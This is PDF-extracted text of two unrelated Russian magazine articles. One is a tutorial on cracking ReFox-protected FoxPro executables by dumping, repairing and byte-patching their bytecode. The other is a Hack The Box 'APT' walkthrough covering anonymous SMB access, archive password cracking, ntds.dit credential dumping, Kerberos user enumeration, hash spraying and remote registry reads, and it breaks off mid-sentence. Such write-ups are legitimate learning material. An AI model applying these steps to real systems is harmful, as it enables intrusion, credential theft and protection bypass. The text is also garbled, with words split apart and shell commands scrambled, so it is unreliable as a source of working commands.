ВЗЛОМ

Под вековы ми плас тами накоп ленных челове чес твом компь‐ 
ютер ных  зна ний  пог ребено  мно жес тво  иско паемых  язы ков
прог рамми рова ния и забытых тех нологий. Некото рые из них
нав сегда  канули  в  Лету,  дру гие  еще  исполь зуют ся  в  узких
областях  челове чес кой  деятель нос ти.  Одна  из  таких  тех‐ 
нологий  —  FoxPro,  популяр ная  в  девянос тых  сис тема
управле ния  базами  дан ных,  которая  исполь зовалась  ког‐ 
да‐то  едва  ли  не  в  полови не  рос сий ских  бух галте рий.
О прин ципах взло ма FoxPro мы и погово рим в сегод няшней
статье.

Язык прог рамми рова ния FoxPro при менял ся для раз работ ки файл‐сер верных
реляци онных  баз  дан ных  и  управле ния  ими,  хотя  воз можнос ти  язы ка  поз‐ 
воляли  най ти  ему  зна читель но  боль ше  прак тичес ких  при мене ний.  Тех‐ 
нология,  появив шаяся  в  1989  году,  базиро валась  на  язы ке  dBase,  который
исполь зовал ся,  в  час тнос ти,  в  одно имен ных  сис темах  управле ния  базами
дан ных,  из‐за  чего  меж ду  пра вооб ладате лем,  ком пани ей  Ashton‐Tate,  и  Fox
Software даже про исхо дили судеб ные раз биратель ства. FoxPro быс тро заво‐ 
евал  популяр ность  на  рын ке  СУБД  и  стал  сво еоб разным  стан дартом  раз‐ 
работ ки  такого  рода  при ложе ний.  Были  выпуще ны  вер сии  FoxPro  для  UNIX,
MS‐DOS и Macintosh.

В 1992 году, пос ле дол гих и мучитель ных перего воров, длив шихся целых
три  года,  ком пания  Fox  Software  была  при обре тена  кор пораци ей  Microsoft,
даль ше  тех нология  FoxPro  раз вивалась  уже  под  кры лом  ком мерсан тов
из  Ред монда.  Со  вре менем  была  выпуще на  визу аль ная  сре да  прог рамми‐ 
рова ния Visual FoxPro, но тех нология понем ногу утра чива ла позиции в поль зу
более  сов ремен ных  прог рам мных  про дук тов.  Пос ледняя  вер сия  FoxPro
для Windows уви дела свет в 1994 году, еще до офи циаль ного релиза Windows
95. Одна ко  с  пов семес тным  перехо дом  с  16‐  на  32‐раз рядную  архи тек туру
осно ван ные на FoxPro СУБД окон чатель но уста рели и понем ногу ушли в исто‐ 
рию.

Са ма  Microsoft  прек ратила  под дер жку  этой  тех нологии  боль ше  пяти  лет
назад.  Тем  не  менее,  по  слу хам,  где‐то  в  глу бинах  сибир ской  тай ги
еще  встре чают ся  написан ные  на  FoxPro  при ложе ния,  которые  ник то
не  собира ется  перепи сывать  с  нуля.  Тем  более  исходни ки  таких  прог рамм
обыч но  уте ряны,  а  пос ледний  прог раммист,  пом нивший  син таксис  FoxPro,
дав ным‐дав но  умер  от  ста рос ти.  Поэто му  чис то  теоре тичес ки  может  воз‐ 
никнуть  необ ходимость  ревер синга  подоб ной  прог раммы  с  целью  понять,
как она вооб ще работа ет. Да и покопать ся в такой древ ности — инте рес ная
задача сама по себе.

Ка залось  бы,  ничего  слож ного  в  этом  нет:  сре да  пред став ляет  собой
интер пре татор  псев докода,  дос таточ но  прос той  и  при митив ный,  деком‐ 
пилято ров  для  него  было  написа но  великое  мно жес тво  еще  в  девянос тые
годы прош лого века (автор одно го из них — ваш покор ный слу га ;)). С появ‐ 
лени ем  VPF  и  ReFox  воп рос  сов сем  потерял  акту аль ность  —  любой  ском‐ 
пилиро ван ный модуль мож но  ревер сировать  до  сос тояния  ком пилиру емо го
про екта бук валь но в одно нажатие кноп ки. Если бы не одно но.

Соз датели  ReFox  не  явля ются  бес корыс тны ми  фаната ми  сво бод ного
прог рам мно го  обес печения:  они  соз дали  хороший  ком мерчес кий  про дукт,
спра вед ливо  полагая,  что  для  любой  интеллек туаль ной  собс твен ности  неп‐ 
ремен но  оты щут ся жела ющие ее  спе реть. И  они  выпус тили  свою собс твен‐ 
ную  защиту  ком пилиру емых  при ложе ний,  где  мож но  выб рать  аж  целых  пять
типов про тек ции раз ной сте пени слож ности. Разуме ется, защищен ную таким
спо собом прог рамму не деком пилиро вать ReFox’ом в один клик. Но на то мы
и хакеры, дабы пре одо левать подоб ные огра ниче ния.

Не  будем  оста нав ливать ся  на  прос тых  слу чаях,  ког да  при ложе ние  пред‐ 
став ляет собой клас сичес кий набор APP, FXP, FRM, FRX и про чего  (хотя  там
тоже  есть  нюан сы,  но  о  них  мы  погово рим  поз же).  Давай  сра зу  перей дем
к самому нехоро шему вари анту.

Итак,  к  нам  попада ет  некий  EXE‐файл  с  хорошей  ком прес сией.  По  кос‐ 
венным приз накам мы пред полага ем, что он похож на защищен ное VFP‐при‐ 
ложе ние. Извес тные детек торы про тек та нам не осо бо помога ют, единс твен‐ 
ная  зацеп ка — наличие овер лея  с  сиг натурой FEF2  (

). Вооб ще‐то, это сиг натура любого FoxPro‐шно го фай‐ 
ла. Раз вивая дан ную идею, отре заем овер лей и про буем скор мить его спе‐ 
циаль но обу чен ным ути литам.

Overlay : FEF2EE... 
Nothing discovered

В  качес тве  малень кого  лиричес кого  отступ ления  рас ска жу  пару  слов
о том, чем мож но поль зовать ся для вивисек ции VFP. При всем мно гооб разии
написан ного  на  эту  тему  соф та,  в  кон курен тной  борь бе  выжило  все го  нес‐ 
коль ко инс тру мен тов, дос той ных упо мина ния. В пер вую оче редь это, конеч но,
упо мяну тый  ,  которо му  по  боль шей  час ти  и  пос вящена  дан ная  статья.
Нес мотря ни на что, про ект под держи вает ся (во вся ком слу чае, так 

).  Акту аль ная  вер сия  на  дан ный  момент  —  XII
12.99/16  от  нояб ря  2019  года.  Сущес тву ет  еще  фран цуз ский  про ект  ,
но  он  дав но  не  раз вива ется,  и  у  меня  не  получи лось  дос тичь  при  исполь‐ 
зовании этой тул зы сколь‐либо зна чимых резуль татов.

ReFox
за явле но

на  сай те  раз работ чиков
DVFP

В сети  хва лили  китай ский Unfoxall,  но  из‐за  спе цифи ки  китай ско го  сооб‐ 
щес тва  най ти  хотя  бы  работа ющую  дему  для  срав нения  лич но  у  меня
не получи лось. Прав да, я осо бо и не ста рал ся. Отдель ного упо мина ния дос‐ 
тоин про ект Corso: он хоть и не явля ется деком пилято ром в пол ном смыс ле
это го  сло ва  (собс твен но,  сама  деком пиляция  псев докода  в  прог рам мный
текст  сде лана  обра щени ем  к  внеш нему  сер веру  и  по  фак ту  не  работа ет),
одна ко содер жит мно го полез ных фич для раз борки про екта, о которых будет
ска зано ниже.

В  общем,  вытащи ли мы  овер лей  с  сиг натурой  наружу,  скор мили  по  оче‐ 
реди всем воз можным ути литам и... ничего! Тул зы говорят: мол, да, сиг натура
есть,  да,  исполь зован  неиз вес тный  энкрип тор  и  ком прес сия,  но  не  более
того. Но мы нас той чивые и сда вать ся в самом начале пути не собира емся.

Заг ружа ем при ложе ние в отладчик. Ну, допус тим, под рукой у нас ока зал ся
OllyDbg.  Для  начала  прос то  запус каем  прог рамму  и,  ког да  заг рузит ся
основное  окно,  пре рыва емся  в  про изволь ный  момент,  раду ясь  отсутс твию
защиты  от  отладчи ка  и  всплы тия.  Еще  один  при ятный  момент —  успешный
поиск  по  памяти  про цес са  тек сто вых  строк  (которые  мы  до  это го  тщет но
пытались най ти  в  закоди рован ном EXE‐модуле). Более  того,  вок руг най ден‐ 
ных  строк  явно  рас кодиро ван ный  псев докод  FoxPro  (стро ки  со  счет чиком,
име на про цедур и так далее).

Од нако сдам пить его, как нам хотелось бы, одним кус ком нель зя — фраг‐ 
менты кода нареза ны в бло ки бук валь но «по живому»: начало тек сто вой стро‐ 
ки  находит ся  в  одном  бло ке,  конец  в  дру гом.  В  общем,  собирать  все
это  слож но и  грус тно,  тем более объ ем  весь ма боль шой. Поп робу ем  зай ти
с  дру гой  сто роны:  пос коль ку  код  явно  ком прес сирован ный,  веро ятно,
в какой‐то момент он был рас пакован и уж потом нашин кован в лап шу. В окне
Memory Map упо рядо чива ем бло ки по раз меру — и дей стви тель но, в самом
начале спис ка огромный блок, которо го не было в момент стар та прог раммы.
Прав да, в нем содер жится, на пер вый взгляд, пол ная каша с огромной энтро‐ 
пией, но про буем доб рать ся до ее источни ков.

REFOX не при нима ет сдам плен ный APP

Пе реза пус каем прог рамму и ста вим бряк на какую‐нибудь фун кцию Kernel32
(ска жем,  ).  При  каж дом  оста нове  про веря ем  кар ту  памяти  —
oops!  —  перелет,  в  оче ред ной  раз  блок  уже  при сутс тву ет,  при чем  сно ва
запол нен  кашей.  Не  мудрствуя  лукаво,  прос то  ста вим  Hardware  Breakpoint
на пер вый байт это го бло ка и переза пус каем прог рамму. Нам сно ва повез‐ 
ло — этот нечес тный трюк ока зал ся эффектив ным: аппа рат ная точ ка оста нова
сра баты вает имен но на записи в све жень кий, запол ненный нулями блок Fox‐
Pro‐шной сиг натуры  . Запус каем выпол нение до кон ца про цеду ры (

)  и  получа ем  на  блю деч ке  блок,  целиком  запол ненный
рас шифро ван ным и рас пакован ным кодом, который мож но дам пить. Что мы
и дела ем.

WriteFile

FEF2 Exe‐
cute  till  return

Ка залось бы, тут и сказ ке конец, а кто сдам пил — молодец. Судя по сиг‐ 
натуре и содер жимому, мы получи ли чис тый APP‐модуль со сня той защитой,
который мож но сме ло иссле довать. Но не  тут‐то было. ReFox  уже приз нает,
что это VFP‐при ложе ние, даже вер сию видит, но деком пилиро вать и показы‐ 
вать  струк туру  отка зыва ется.  Сам  APP  при  запус ке  валит  интер пре татор
с какой‐то умо пом рачитель ной ошиб кой, дру гие деком пилято ры тоже на него
руга ются,  и  толь ко Corso  видит  спи сок фай лов,  из  которо го  соб ран  дан ный
APP. Выбор  у нас неболь шой, поэто му про буем починить файл при помощи
Corso.

Сра зу  бро сают ся  в  гла за  ошиб ки: 
  (этот  файл  с  неп роиз носимым  наз вани ем

выделен  крас ным  в  самом  вер ху  таб лицы),  чуть  ниже  его — файл  с  пус тым
наз вани ем, еще ниже — файл   типа 1. Ну и по мелочи:

File  LGIDGIWHMJE.EUT  (no:0)  has 
invalid  Start  offset:  0

SUSPENSION.XXX

It’s a hole between header and first file ‐> length: 64 bytes 
It’s a hole between files and Names ‐> length: 4 bytes 

Сдам плен ный код, заг ружен ный в Corso

Для  начала  уда ляем  пер вые  три  стран ных  фай ла  и  сох раня ем  получен ный
APP. Уже луч ше: он хотя бы запус кает ся, хоть и с ошиб ками, одна ко ReFox его
сно ва  при нимать  отка зыва ется.  Лад но,  про буем  про ана лизи ровать  файл
более  деталь но.  Для  это го  уста новим  гал ки  Analyze  the  files  и  Decompile
и  поп робу ем  сно ва  разоб рать  сдам плен ный  образ.  На  этот  раз  про цесс
очень силь но затяги вает ся, появ ляет ся мно жес тво оши бок — винова ты мно‐ 
гочис ленные  зазоры  меж ду  метода ми.  Судя  по  все му,  в  них  и  находит ся
информа ция,  сиг нализи рующая  ReFox’у,  что  это  имен но  защищен ный  им
модуль. Пос ле пересох ранения почищен ного обра за (который, надо ска зать,
силь но  при  этом  похудел,  с  чего  бы?),  ReFox  наконец  сда ется  и  начина ет
деком пилиро вать  получен ный  модуль,  нес мотря  на  мель кающие  пов сюду
мар керы вида  ._refox_ = (9876543210^1)

Corso ‐ опции ана лиза

Ка залось бы, вро де теперь уж все хорошо, про ект раз бира ется на час ти, его
мож но изу чать и пересо бирать. Но есть еще лож ка дег тя. Про ект  «похудел»
так силь но явно не толь ко из‐за «зазоров» меж ду про цеду рами. При бли жай‐ 
шем  рас смот рении  вид но,  что  во  вре мя  ана лиза  Corso  явно  вып леснул
с водой и мла ден ца — часть рабоче го кода в получен ном модуле отсутс тву ет,
про пали и  тек сто вые сооб щения. При попыт ке ком пиляции ReFox на мно гих
про цеду рах  руга ется  (неожи дан ный  ),  то  есть  с  пересох ранен ным
модулем явно что‐то не то. При чем если сох ранять про ект без ана лиза (чек‐ 
бокс Analyze  the files отклю чен),  то все нор маль но — весь код при сутс тву ет.
Одна ко  такой  модуль  ReFox  не  вос при нима ет  как  деком пилиру емый.  Поп‐ 
робу ем разоб рать ся, в чем пер вопри чина такого бага, воз ника юще го в про‐ 
цес се  сох ранения.  Откро ем  пер вую  попав шуюся  про цеду ру,  для  которой
при сбор ке отоб ражалось пре дуп режде ние. В кон це мы и вправ ду видим сле‐ 
дующее:

ENDPROC

IF EMPTY(tink_kel) 
   SET PATH TO 
ELSE 
   IF  .NOT. isdir(tink_kel) 
      = l_messagebox("Error!", "P") 
      QUIT 
ENDPROC 
** 
<EOF> 

При мер обре зан ного кода

Эта  конс трук ция  явно  наруша ет  пра вила  син такси са  язы ка,  как  минимум
конец про цеду ры при незак рытых   и   про тиво речит здра вому смыс лу.
Про верив нес коль ко подоб ных про цедур и фун кций, выяв ляем общую законо‐ 
мер ность — про цеду ра всег да обры вает ся пос ле коман ды   незави симо
от того, в каком уров не вло жен ности она находит ся. Видя такое, мож но сфор‐ 
мулиро вать  баг  пол ностью:  судя  по  все му,  Corso  при  вклю чен ном  ана лизе
кода  вос при нима ет  коман ду    как  конец  про цеду ры  и  отбра сыва ет  весь
пос леду ющий код в ущерб син такси су и логике.

IF ELSE

QUIT

QUIT

Что бы побороть дан ное огра ниче ние, кажуще еся на пер вый взгляд катас‐ 
тро фичес ким  (в  самом  деле,  не  перепи сывать  же  Corso  и  ReFox  самому?),
сде лаем еще одно отступ ление, коп нув чуть глуб же в струк туру интер пре тиру‐ 
емо го  кода.  К  сожале нию,  сис тема  команд  это го  кода  не докумен тирова на,
в  сво бод ном  дос тупе  мож но  най ти  опи сание  толь ко  очень  малой  час ти,
которая  была  сфор мирова на  энту зиас тами  эмпи ричес ким  путем.  При веду
здесь ее фраг мент:

18  DO 
1B  ELSE 
1D  ENDDO 
1E  ENDIF 
25  IF 
34  PARAMETERS 
35  PRIVATE 
37  PUBLIC 
38  QUIT 
42  RETURN 
4A  STORE 
51  USE 
54  variable assignment 
55  end of procedure 
84  FOR 
85  ENDFOR 
99  function call 
A2  add method 
A3  add protected method 
AE  LOCAL 
B0  CD 

То  есть,  сог ласно  нашей  гипоте зе,  Corso  при  ана лизе  кода  опре деля ет
реаль ный  конец  про цеду ры  по  нахож дению опко да    или  .  Не  буду  вда‐ 
вать ся  в  под робнос ти,  что бы не  ухо дить от  задан ной  темы,  но любой жела‐ 
ющий может дос таточ но быс тро най ти в Corso про вер ку на опкод   и убрать
ее,  хотя  бы  прос то  изме нив  на   —  в  этом  слу чае  пат ченный Corso  будет
сох ранять все методы пол ностью, не обре зая их на каж дом  .

55 38

38
55

QUIT

Ин тер пре тиру емый код

Те перь я в двух сло вах рас ска жу о любимом хакер ском методе — пат че кода
без переком пиляции. Ты спро сишь: а зачем это нуж но, если мож но разоб рать
при ложе ние  до  исходни ков,  в  которых  гораз до  удоб нее  и  искать,  и  вно сить
исправ ления? Самая баналь ная при чина — лень. Что бы пересоб рать про ект,
нуж на  как  минимум  живая  сре да  Visual  FoxРro.  С  уста нов кой  и  нас трой кой
пра виль ной  сбор ки  про екта  при дет ся  раз бирать ся  дол го  и  нуд но,  а  иног да
быва ет нуж но поп равить в готовом про екте лишь одну кон стан ту или усло вие
бук валь но в одном бай те.

Дру гая при чина гораз до более серь езная — как извес тно, про цесс любой
ком пиляции в  той или иной сте пени необ ратим, фарш невоз можно про вер‐ 
нуть  назад. Иде аль ный  деком пилятор  соз дать  невоз можно,  в  любом  слу чае
будет потеря на какая‐то часть логики. Обыч но, как это ни печаль но, вос ста‐ 
нов ленные  про екты  тре буют  серь езной  доработ ки  напиль ником.  Один
из при меров с обре зани ем час ти кода я опи сал выше, а вот дру гой при мер:
при  вни матель ном  рас смот рении  кода  дос таточ но  боль шого  и  серь езно го
про екта, вос ста нов ленно го через ReFox даже самой акту аль ной вер сии, вре‐ 
мя от вре мени попада ются коман ды вро де   — то есть
все‐таки сущес тву ют экзо тичес кие коман ды, которые он не зна ет. Логичес ки
такую  коман ду,  конеч но,  вос ста новить  мож но.  Но  прос то  из  сооб ражений
надеж ности  нез начитель ные  прав ки  в  коде  луч ше  все‐таки  про водить
без пол ного ревер са и перес борки про екта, если это, конеч но, воз можно.

??? <идентификатор>

По нят ное  дело,  в  слу чае  упа кован ного‐зашиф рован ного  модуля
это реали зуемо раз ве что авто пат чем в момент рас паков ки кода при работе
заг ружен ного EXE. Тем не менее впол не воз можны слу чаи, ког да даже такой
неп ростой метод оправдан. Как это дела ется? ReFox нам в этом не поможет,
я так и не нашел в нем воз можнос ти даже прос того прос мотра пос троч ного
кода  каж дого  метода.  Подоз реваю,  что  опи сан ная  фун кция  отсутс тву ет  там
намерен но. Одна ко здесь нас сно ва выручит Соrso. Хотя он и не уме ет вос‐ 
ста нав ливать прог рамму до исходни ков,  в  чем сра зу и  приз нает ся при ана‐ 
лизе  модуля  со  вклю чен ной  опци ей  Decompile,  зато  он  уме ет  пар сить  код
каж дой про цеду ры и фун кции на стро ки.

Пос ле заг рузки в Соrso для каж дого модуля мож но рас крыть спи сок про‐ 
цедур  и  фун кций,  каж дая  из  которых,  в  свою  оче редь,  содер жит  спи сок
нумеро ван ных  строк  интер пре тиру емо го  кода.  Нес мотря  на  скуд ный
перечень докумен тирован ных команд, сопос тавив с ним деком пилиро ван ный
ReFox’ом код, мож но эмпи ричес ки най ти законо мер ности. Нап ример,  конец
каж дого выраже ния — опкод  , все, что сле дует далее, игно риру ется интер‐ 
пре тато ром,  при чем  вне  зависи мос ти  от  дли ны  стро ки.  То  есть  в  любую
готовую стро ку мож но писать код любой дли ны, не пре выша ющей исходную.
Дос таточ но  толь ко  уста новить  мар кер    в  нуж ном  мес те.  Кон стан ты
и  выраже ния  обрамля ются  мар керами  ;  условные  опе рато ры 

 выг лядят так:

FE

FE
FC  ...  FD IF

... ELSE ... ENDIF

25 FC ... FD ... FE 
... 
1B FE 
... 
1E FE 

RETURN .T. : 42 FC 61 FD FE 

И соот ветс твен но:

RETURN .F. : 42 FC 2D FD FE 

Та ким  обра зом,  при  раз витом  логичес ком  мыш лении  нес ложно  поп равить
одну  пос ледова тель ность  на  дру гую  без  пол ного  зна ния  всех  опко дов
и написа ния сво его деком пилято ра.

Мож но  даже  не  замора чивать ся  опре деле нием  реаль ного  сме щения
в  модуле  кон крет ной  стро ки  опре делен ной  про цеду ры  (по‐хороше му
это  мож но  и  нуж но  было  бы  сде лать).  Чаще  дос таточ но  лишь  най ти  тре‐ 
буемую пос ледова тель ность бай тов в HEX‐редак торе и заменить их. Зашиф‐ 
рован ные (быва ют и такие) модули тоже не пре пятс твие: при пересох ранении
Corso лег ко рас шифро выва ет их, если, конеч но, исполь зовал ся стан дар тный
алго ритм шиф рования.

Да, в осо бых слу чаях мож но менять дан ные и в зашиф рован ных модулях,
ведь стан дар тное шиф рование — это обыч ный ХОR по мас ке. А зна чит, рас‐ 
шифро вав  при помощи Corso  зашиф рован ный модуль и  най дя  в  нем,  какие
бай ты  на  какие  менять,  при  извес тной  сно ров ке  и  дос таточ ной  мотива ции
мож но пос читать зна чения, которы ми нуж но заменить соот ветс тву ющие бай‐ 
ты в исходном зашиф рован ном коде.

https://www.refox.net/
https://www.refox.net/
http://www.atoutfox.org/articles.asp
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ВЗЛОМ

В этой статье с помощью DCE/RPC узна ём
IPv6‐адрес  хос та,  лома ем  ZIP‐архив,
получа ем  бэкапы  базы  уче ток  AD,  бру тим
име на поль зовате лей c помощью Kerberos,
чита ем дан ные из реес тра уда лен ного хос‐ 
та  бла года ря  Silver  Ticket  и  дела ем  дру гие
инте рес ные  вещи,  что бы  прой ти  лабора‐ 
торию APT  с  пло щад ки  .  Уро‐ 
вень слож ности — Insane!

Hack  The Box

WARNING

Под клю чать ся  к  машинам  с  HTB  рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока‐ 
жешь ся в общей сети с дру гими учас тни ками.

РАЗВЕДКА
Сканирование портов
IP‐адрес машины — 10.10.10.213, я добав лю его в   и даль ше буду
обра щать ся к ней по адре су  .

/etc/hosts
apt.htb

Даль ше, как всег да, ска ниру ем пор ты с помощью Nmap. Если читал дру гие
про хож дения, то уже, навер ное, ско пиро вал мой скрипт. Он сна чала ска ниру‐ 
ет  весь  диапа зон,  а  затем  пов торно  про ходит ся  по  най ден ным  пор там,
исполь зуя скрип ты (опция  ).‐A

#!/bin/bash
nmap    500   |         1 | 

     |  s/, /
ports=$( ‐p‐ ‐‐min‐rate= $1 grep ^[0‐9] | cut ‐d '/' ‐f
tr '\n' ',' sed  $/ )
nmap     ‐p$ports ‐A $1

Ре зуль тат работы скрип та

На ходим два откры тых пор та:
порт 80 — веб‐сер вер Microsoft IIS;•
порт 135 — служ ба Microsoft RPC.•

Пер вичный ана лиз сай та ничего не дал  (кро ме еще одно го домен ного име‐ 
ни), поэто му, пока мы не засели за его  глу бокое тес тирова ние, мож но быс‐ 
трень ко про верить служ бу RPC.

Стар товая стра ница сай та

Мы можем выпол нить пол ный дамп записей при помощи rpcdump (в качес тве
парамет ра нуж но передать толь ко номер пор та), но это ничего инте рес ного
нам не дает.

 135 rpcdump.py apt.htb ‐p

Но rpcdump не выпол няет зап росы DCE/RPC.

Сканирование DCE/RPC
DCE/RPC  —  это  сис тема  уда лен ного  вызова  про цедур,  раз работан ная
для  рас пре делен ной  вычис литель ной  сре ды.  Эта  сис тема  поз воля ет  прог‐ 
раммис там  занимать ся  раз работ кой  рас пре делен ного  соф та  так,  буд то  все
работа ет  на  том  же  компь юте ре,  без  необ ходимос ти  вол новать ся  за  код,
отве чающий за работу с сетью. Мы можем прос каниро вать DCE/RPC и поис‐ 
кать  служ бы,  которые  дос тупны  через  TCP.  Для  ска ниро вания  подой дет
модуль   из Metasploit Framework.tcp_dcerpc_auditor

msfconsole 
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor 
set RHOSTS apt.htb 
run 

Ре зуль тат DCE/RPC‐ска ниро вания

В резуль тате мы получа ем два GUID, зна чение которых мы можем пос мотреть
на  .  Там  мы  узна ем,  что  GUID 

  отве чает  за  интерфейс  ,  о  котором  мы
можем  почитать  .    —  это  служ ба,  которая
запус кает ся  на  каж дой  машине,  где  есть  под дер жка  COM+.  Он  уда лен но
исполь зует ся для дос тупа к локаль ному рас позна вате лю объ ектов.

сай те  Microsoft 99fcfec4‐5260‐101b‐bbcb‐
00aa0021347a IObjectExporter

в  докумен тации IObjectExporter

Таб лица соот ветс твия GUID и целево го объ екта

Од но из пред назна чений   — раз решение OXID. Ког да кли‐ 
ент  получа ет OXID  как  часть  ссыл ки на объ ект,  ему 
информа цию  при вяз ки  RPC,  нуж ную  для  свя зи  с  уда лен ным  неиз вес тным
объ ектом  экспор тера  объ екта.  Наибо лее  инте ресен  метод  ,
с помощью которо го мож но получить сетевые адре са. Это мож но авто мати‐ 
зиро вать! Выпол ним ска ниро вание с помощью  .

IObjectExporter
не обхо димо опре делить

ServerAlive2()

IOXIDResolver

apt sudo  install python2 
 pip python2 ‐m install setuptools 
 pip python2 ‐m install impacket 

python2 IOXIDResolver.py ‐t apt.htb 

Ре зуль тат работы скрип та IOXIDResolver

В резуль тате получим IPv6‐адрес хос та.

Сканирование портов IPv6
Мы  получи ли  нуж ный  адрес  —  нуж но  его  прос каниро вать  ана логич но  пер‐ 
вому, так как некото рые служ бы могут отве чать по IPv6 и не отве чать по IPv4.
Исполь зуем тот же скрипт, что и при пер вом ска ниро вании.

Ре зуль таты ска ниро вания пор тов по IPv6‐адре су

Ви дим мно го служб. Я добавил новую запись в  ./etc/hosts

: :: : : :    . .dead beef b885 d62a d679 573f apt htb local

Пор ты 80 и 135 пре дос тавля ют такую же информа цию, что и по  IPv4, к LDAP
не под клю чить ся, зато к SMB — мож но.

Шара
На SMB нат равим скрипт   и пос ле перебо ра получим спи сок общих
дирек торий.

enum4linux

enum4linux ‐a apt.htb.local 

Спи сок общих ресур сов SMB

Как  вид но  в  отче те,  мы можем  получить  неав торизо ван ный  дос туп  к  дирек‐ 
тории  .  Под клю чаем ся  с  помощью    и  находим  там  архив,
который ска чива ем на локаль ный хост коман дой  .

backup smbclient
get

smbclient \\\\apt.htb.local\\backup ‐‐no‐pass

Со дер жимое обще го ресур са backup

Со дер жимое архи ва очень инте рес ное. Файл   — это база дан ных,
в которой хра нит ся информа ция Active Directory — такая как све дения о поль‐ 
зовате лях,  груп пах и членс тве в груп пах. База так же вклю чает хеши паролей
для  всех  поль зовате лей  в  домене.  Файл  зашиф рован,  но  клю чи  наш лись
в фай ле  .

ntds.dit

SYSTEM

Со дер жимое архи ва

ТОЧКА ВХОДА
Получение учетных записей
Сам архив запаро лен, но вскрыть ZIP не проб лема. Мож но поп робовать быс‐ 
тро переб рать пароль с помощью  , ука зав сле дующие парамет ры:fcrackzip

 — исполь зовать перебор паролей;• ­b

 — перебор по сло варю;• ­D

 — путь к сло варю.• ­p []

Я буду исполь зовать базу паролей rockyou.

   fcrackzip ‐b ‐D ‐p ~/tmp/tools/rockyou.txt ./backup.zip 

Ре зуль тат перебо ра пароля

Без тру да находим вер ный пароль от архи ва. Давай теперь извле чем фай лы
и  рас шифру ем  учет ные  дан ные  поль зовате лей  домена  из  базы  .
Для  это го  исполь зуем  скрипт  secretsdump  из  пакета  .  Скрип ту
переда ем фай лы   и  , а резуль тат сох раним в файл.

ntds.dit
impacket

ntds.dit SYSTEM

secretsdump.py ‐ntds ntds.dit ‐system SYSTEM LOCAL > ntds_extract.txt 

По лучен ные учет ные дан ные поль зовате лей домена

Мы уви дим очень мно го дан ных. В таких слу чаях луч ше отдель но сде лать спи‐ 
сок поль зовате лей и спи сок их хешей.

   |         1 cat ntds_extract.txt | grep ":::" cut ‐d ':' ‐f > users.txt 
   |         4 cat ntds_extract.txt | grep ":::" cut ‐d ':' ‐f > hashes.txt 

Брутфорс учетки
Так как этот спи сок получен из бэкапов, давай про верим, какие поль зовате ли
есть в сис теме в дан ный момент.

Пе речис лить  толь ко  име на  поль зовате лей  мож но  с  помощью  Kerberos.
Для  любого  поль зовате ля  мы  можем  зап росить  ключ  (AS  key)  Kerberos,
который  будет  зашиф рован  с  помощью  пароля  это го  поль зовате ля.  И  если
в  UAC  учет ной  записи  уста нов лен  флаг    (не  тре бует ся
пред варитель ная  про вер ка  под линнос ти  Kerberos),  то  сер вер  вер нет  нам
ключ. Но дело  в  том,  что  сер вер раз лича ет ответ  «дан ный флаг  не  уста нов‐ 
лен» и «учет ная запись не сущес тву ет». Получа ется, что мы можем перечис‐ 
лить име на поль зовате лей, и, если ответ «флаг не уста нов лен», зна чит, такой
поль зователь есть. Все дей ствия уже реали зова ны в скрип те  .

DONT_REQ_PREAUTH

kerbrute

kerbrute userenum ‐‐domain htb.local ‐‐dc apt.htb.local ./users.txt 

Ре зуль тат работы скрип та

На ходим три учет ные записи. Пер вая из них — учет ная запись самого компь‐ 
юте ра,  вто рая  запись  стан дар тна,  а  вот  третья  уже  поль зователь ская.  Поп‐ 
робу ем переб рать для это го поль зовате ля най ден ные хеши. Так  как  ути лита

  не  работа ет  по  IPv6,  нам  при дет ся  исполь зовать  прог раммы,  которые
работа ют с хешами, и так как мы уже начали искать поль зовате ля с помощью
Kerberos,  то  будем переби рать  хеш  там же  с  помощью getTGT  (тоже  вхо дит
в пакет impacket). Исполь зуем сле дующий bash‐скрипт:

CME

i     for  in $(cat hashes.txt) ;
   do echo $i ;

 :     getTGT.py htb.local/henry.vinson ‐hashes $i ‐dc‐ip apt.htb.
local | grep Kerberos ;
done

Ре зуль тат работы скрип та

Сре ди  информа ции,  где  сооб щает ся,  что  аутен тифика цион ная  информа ция
невер на,  есть  одно  сооб щение  о  несо ответс твии  сис темно го  вре мени.
Это  вер ный  хеш,  который  не  может  прой ти  про вер ку  вре мени  дей ствия
тикета.

ЗАКРЕПЛЕНИЕ
Тикет Kerberos
Уди витель но,  но  с  най ден ным  хешем  ниг де  не  получа ется  аутен тифици‐ 
ровать ся,  поэто му про дол жим  упражне ния с Kerberos и  сде лаем себе  тикет
(часть про вер ки ведь прой дена).

Для начала нам нуж но син хро низи ровать  вре мя,  что бы раз ница  вре мени
на локаль ном хос те и на уда лен ном не пре выша ла пяти минут. Для получе ния
вре мени  на  уда лен ной  машине  прос каниру ем  толь ко  445‐й  порт  с  исполь‐ 
зовани ем скрип тов Nmap. В качес тве допол нитель ной информа ции получим
пол ное имя домена (FQDN) и текущее сис темное вре мя.

nmap     ‐6 ‐p445 ‐A apt.htb.local 

Сис темное вре мя на уда лен ном хос те

Выс тавим такое же сис темное вре мя и на локаль ном хос те. Пос ле чего сно ва
зап росим тикет. Пос ле удач ного получе ния билета,  который будет сох ранен
в файл, экспор тиру ем билет.

   sudo date ‐s "20:52:10+00:00"
getTGT.py htb.local/henry.vinson ‐hashes :
e53d87d42adaa3ca32bdb34a876cbffb ‐dc‐ip apt.htb.local 
export KRB5CCNAME=henry.vinson.ccache 

Ге нера ция тикета

Ма ло  что  получи лось  сде лать  с  билетом,  зато  в  реес тре  точ но  получит ся
что‐нибудь  най ти.  Мы  можем  под клю чить ся  к  реес тру  уда лен ной  машины,
были бы учет ные дан ные, но у нас есть билет.

Сно ва обра тим ся к пакету скрип тов impacket, в этот раз нам нужен  .
Сна чала  гля нем,  можем  ли  мы  под клю чить ся  и  получить  содер жимое  кор‐ 
невой вет ки реес тра поль зователь ско го раз дела. Вызыва ем   со сле‐ 
дующи ми аргу мен тами:

reg.py

reg.py

 — адрес кон трол лера домена;• ­­dc­ip []

 — исполь зовать аутен тифика цию Kerberos;• ­k

 — зап рос.• query

 HKU reg.py ‐dc‐ip apt.htb.local ‐k apt.htb.local query ‐keyName

Со дер жимое кор невой вет ки реес тра поль зователь ско го раз дела

Дампинг учетных данных
Час то  быва ет  такое,  что  некото рые  при ложе ния  хра нят  в  реес тре  важ ные
для ата ки дан ные,  такие  как пути  к  кон фигу,  сами  кон фиги,  учет ные дан ные,
сек реты,  токены.  Давай  пос мотрим  вет ку  реес тра    рекур сивно,
